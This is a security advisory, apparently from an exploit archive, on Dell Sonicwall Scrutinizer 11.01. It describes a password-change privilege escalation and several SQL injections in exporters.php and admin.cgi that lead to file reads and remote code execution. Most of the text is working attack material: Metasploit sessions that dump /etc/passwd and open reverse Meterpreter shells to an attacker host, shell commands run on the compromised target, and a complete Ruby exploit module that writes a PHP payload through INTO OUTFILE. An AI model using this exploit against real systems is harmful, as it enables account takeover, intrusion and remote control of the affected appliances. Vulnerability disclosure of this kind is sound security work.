Dell Sonicwall Scrutinizer 11.01 Code Execution / SQL Injection

2014.07.12
Credit: Brandon Perry
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

Dell Scrutinizer 11.01 several vulnerabilities http://www.mysonicwall.com has a trial available. Dell Sonicwall Scrutinizer suffers from several SQL injections, many of which can end up with remote code execution. An attacker needs to be authenticated, but not as an administrator. However, that wouldn’t stop anyone since there is also a privilege escalation vulnerability in that any authenticated user can change any other user’s password, including the admin. One SQL injection, which a Metasploit module was provided for, requires this privilege escalation to reach since it exists in the new user mechanism only available to admins. Privilege escalation via password change mechanism When changing you password, you POST a request with a savePrefs variable. This variable is actually the id of the user whose password is being changed. By changing it to ‘1’, for instance, you will change the password for the person with an ID of 1 (which is always admin as far as I can tell). SQL injection in new user mechanism (requires admin) When creating a new user, the selectedUserGroup variable POSTed to /cgi-bin/admin.cgi is vulnerable to SQL injection that allows an attacker to read an arbitrary &#239;&#172;le from the FS. A Metasploit module was provided that exploits the above two vulnerabilities to escalate an arbitrary authenticated user to admin, which then will read /etc/passwd via the SQL injection. See auxiliary module scrutinizer_password_change.rb. msf auxiliary(scrutinizer_password_change) > show options Module options (auxiliary/gather/scrutinizer_password_change): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME /etc/passwd yes The &#239;&#172;le to read from the admin sqli PASSWORD password no The password to authenticate with Proxies no Use a proxy chain RHOST 192.168.1.99 yes The target address RPORT 80 yes The target port TARGETURI / yes Base Application path USERID 1 yes The ID of the user to have their password changed. 'admin' is always 1. USERNAME username no The username to authenticate as VHOST no HTTP server virtual host msf auxiliary(scrutinizer_password_change) > run [+] Log in with the user's name and the password 'passw0rd!' [+] Attempting to read &#239;&#172;le using 'admin' account: /etc/passwd [+] root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin!operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin plixer:x:500:500::/home/plixer:/bin/bash ntp:x:38:38::/etc/ntp:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin rtkit:x:499:498:RealtimeKit:/proc:/sbin/nologin pulse:x:498:497:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash tcpdump:x:72:72::/:/sbin/nologin [*] Auxiliary module execution completed msf auxiliary(scrutinizer_password_change) > Within the appliance, you may see /home/plixer/scrutinizer/html/d4d/exporters.php. This script, which is used actively throughout the web UI, is riddled with SQL injections. You can read the &#239;&#172;le and see the way the programmer(s?) is building their SQL injections. I will detail some of the injections that I could exploit and achieve RCE with (with Metasploit modules). The changeUnit function is vulnerable to a UNION-based SQL injection in the user_id parameter which allows a remote user to write a &#239;&#172;le to the &#239;&#172;lesystem via the OUTFILE vector. We have write permissions on the folder from the sql injection, so a PHP script can be written to /home/ plixer/scrutinizer/html/d4d/ and the code will be executed upon a GET. A metasploit module was provided for this. (see scrutinizer_changeunit_sqli_exec.rb) msf exploit(scrutinizer_changeunit_sqli_exec) > set RHOST 192.168.1.99 RHOST => 192.168.1.99 msf exploit(scrutinizer_changeunit_sqli_exec) > set USERNAME username USERNAME => username msf exploit(scrutinizer_changeunit_sqli_exec) > set PASSWORD password PASSWORD => password msf exploit(scrutinizer_changeunit_sqli_exec) > exploit [*] Started reverse handler on 192.168.1.31:4444 [*] Sending stage (39848 bytes) to 192.168.1.99 [*] Meterpreter session 3 opened (192.168.1.31:4444 -> 192.168.1.99:55077) at 2014-04-20 12:18:22 -0500 [+] Deleted /home/plixer/scrutinizer/html/d4d/q0Oe8orPuCgoBAgk.php meterpreter > sysinfo Computer : fdsafds OS : Linux fdsafds 2.6.32-358.11.1.el6.x86_64 #1 SMP Wed Jun 12 03:34:52 UTC 2013 x86_64 Meterpreter : php/php meterpreter > The methodDetail function is vulnerable to a UNION-based SQL injection similar to the one above. The methodDetail parameter itself is what is vulnerable. A metasploit module that achieves RCE via this vector has been supplied. ( see scrutinizer_methoddetail_sqli_exec.rb) msf exploit(scrutinizer_methoddetail_sqli_exec) > set USERNAME username USERNAME => username msf exploit(scrutinizer_methoddetail_sqli_exec) > set PASSWORD password PASSWORD => password msf exploit(scrutinizer_methoddetail_sqli_exec) > set RHOST 192.168.1.99 RHOST => 192.168.1.99 msf exploit(scrutinizer_methoddetail_sqli_exec) > exploit ! [*] Started reverse handler on 192.168.1.31:4444 [*] Sending stage (39848 bytes) to 192.168.1.99 [*] Meterpreter session 2 opened (192.168.1.31:4444 -> 192.168.1.99:55063) at 2014-04-20 12:16:23 -0500 [+] Deleted /home/plixer/scrutinizer/html/d4d/6QOILiKezqXHEU07.php meterpreter > sysinfo Computer : fdsafds OS : Linux fdsafds 2.6.32-358.11.1.el6.x86_64 #1 SMP Wed Jun 12 03:34:52 UTC 2013 x86_64 Meterpreter : php/php meterpreter > The xcNetworkDetail function is vulnerable to a UNION-based SQL injection like the ones above. The xcNetworkDetail parameter is itself what is vulnerable. A metasploit module was provided for this. (see scrutinizer_xcnetworkdetail_sqli_exec.rb) msf exploit(scrutinizer_xcnetworkdetail_sqli_exec) > set RHOST 192.168.1.99 RHOST => 192.168.1.99 msf exploit(scrutinizer_xcnetworkdetail_sqli_exec) > set USERNAME username USERNAME => username msf exploit(scrutinizer_xcnetworkdetail_sqli_exec) > set PASSWORD password PASSWORD => password msf exploit(scrutinizer_xcnetworkdetail_sqli_exec) > exploit [*] Started reverse handler on 192.168.1.31:4444 [*] Sending stage (39848 bytes) to 192.168.1.99 [*] Meterpreter session 1 opened (192.168.1.31:4444 -> 192.168.1.99:55045) at 2014-04-20 12:14:57 -0500 [+] Deleted /home/plixer/scrutinizer/html/d4d/AJ7W4nC4TOpLuS4F.php meterpreter > sysinfo Computer : fdsafds OS : Linux fdsafds 2.6.32-358.11.1.el6.x86_64 #1 SMP Wed Jun 12 03:34:52 UTC 2013 x86_64 Meterpreter : php/php meterpreter > ======= # This module requires Metasploit: http//metasploit.com/download ## # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Dell Sonicwall Scrutinizer 11.01 Authenticated Code Execution", 'Description' => %q{ Dell Sonicwall Scrutinizer 11.01 is vulnerable to an authenticated SQL injection that allows an attacker to write arbitrary files to the file system. This vulnerability is used to write a PHP script to the file system to gain RCE. This was tested on the Dell Scrutinizer appliance available to download on mysonicwall.com }, 'License' => MSF_LICENSE, 'Author' => [], 'References' => [], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['Dell Sonicwall Scrutinizer 11.01', {}],], 'Privileged' => false, 'DisclosureDate' => "", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "Base Application path", "/" ]), OptString.new('USERNAME', [ false, "The username to authenticate as"]), OptString.new('PASSWORD', [ false, "The password to authenticate with" ]) ], self.class) end def exploit res = send_request_cgi({ 'uri' => normalize_uri(target_uri, '/cgi-bin/login.cgi'), 'vars_get' => { 'name' => datastore['USERNAME'], 'pwd' => datastore['PASSWORD'] } }) res.body =~ /"userid":"(.*)","sessionid":"(.*)"/ sessionid = $2 cookie = "cookiesenabled=1;sessionid=#{sessionid};userid=#{$1}" hexstr = ("<?php " + payload.encoded + " ?>").bytes.map { |b| sprintf("%02x",b) }.join post = { 'ti' => 1, 'limit' => 25, 'page' => 0, 'order' => '', 'dir' => 'DESC', 'bbp' => 'percent', 'changeUnit' => '', #should be trivial to support windows, just change the paths 'user_id' => "-9513 OR 9319=9319 LIMIT 0,1 INTO OUTFILE '/home/plixer/scrutinizer/html/d4d/#{sessionid}.php' LINES TERMINATED BY 0x#{hexstr}" } register_files_for_cleanup("/home/plixer/scrutinizer/html/d4d/#{sessionid}.php") send_request_cgi({ 'uri' => normalize_uri(target_uri, '/d4d/exporters.php'), 'method' => 'POST', 'vars_post' => post, 'cookie' => cookie }) send_request_cgi({ 'uri' => normalize_uri(target_uri, "/d4d/#{sessionid}.php")}) end end __END__ msf exploit(scrutinizer_sqli_exec) > show options Module options (exploit/dell/scrutinizer/scrutinizer_sqli_exec): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD passw0rd! no The password to authenticate with Proxies no Use a proxy chain RHOST 192.168.1.99 yes The target address RPORT 80 yes The target port TARGETURI / yes Base Application path USERNAME username no The username to authenticate as VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 Dell Sonicwall Scrutinizer 11.01 msf exploit(scrutinizer_sqli_exec) > exploit [*] Started reverse handler on 192.168.1.31:4444 [*] Sending stage (39195 bytes) to 192.168.1.99 [*] Meterpreter session 1 opened (192.168.1.31:4444 -> 192.168.1.99:38133) at 2014-02-15 09:33:34 -0600 meterpreter > shell Process 3038 created. Channel 0 created. id uid=48(apache) gid=48(apache) groups=48(apache),500(plixer) uname -a Linux fdsafdsafdsa 2.6.32-358.11.1.el6.x86_64 #1 SMP Wed Jun 12 03:34:52 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux


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